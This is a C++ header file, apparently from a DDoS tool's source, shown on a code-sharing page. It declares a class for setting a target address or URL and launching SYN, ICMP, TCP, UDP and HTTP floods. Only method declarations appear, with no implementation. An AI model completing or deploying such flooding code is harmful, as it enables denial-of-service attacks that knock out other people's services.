📄 ddos.h
字号:
#pragma once
#include "I_DDos.h"
#include "../interface/helper/IBufferHelper.h"
#include "ipheader.h"
#include "../help/Locker.h"
class CDDos : public I_DDos
{
CLocker m_Locker;
enumDDosWorkType m_worktype;
enumDdosType m_type;
std::wstring m_strUrl;
std::string m_strip;
USHORT m_port;
CPinboardPtr<I_Buffer> m_spBuffer;
bool m_IsStop;
COMPONENT_INSTANCE_PINBOARD(CDDos)
public:
virtual bool SetDDosUrl(LPCWSTR szUrl) ;
virtual bool SetAddr(char* szIp, USHORT port) ;
virtual bool SetSendBuff(BYTE* p, size_t nlen) ;
virtual bool StartsynDDos() ;
virtual bool StarticmpDDos() ;
virtual bool StarttcpDDos() ;
virtual bool StartudpDDos() ;
virtual bool StarthttpDDos() ;
virtual bool GetType(enumDdosType* type) ;
virtual bool GetWorkType(enumDDosWorkType* type);
virtual bool Stop() ;
public:
virtual bool IsStop();
virtual bool SetIsStop(bool f );
virtual bool SetWorkType(enumDDosWorkType type);
virtual bool GetAddr(std::string* pStr, USHORT* port) ;
virtual bool GetSendBuffer(I_Buffer** ppv);
virtual bool GetUrl(std::wstring* pStr);
public:
void syn_flood(const char* szip, USHORT nProt) ;
void icmp_flood(const char* szip, USHORT nProt);
void tcp_flood(const char* szip, USHORT nProt, I_Buffer* pBuff);
void udp_flood(const char* szip, USHORT nProt) ;
void http_flood(LPCWSTR szUrl);
bool floodUrl(LPCWSTR szUrl);
};
⌨️ 快捷键说明
复制代码
Ctrl + C
搜索代码
Ctrl + F
全屏模式
F11
切换主题
Ctrl + Shift + D
显示快捷键
?
增大字号
Ctrl + =
减小字号
Ctrl + -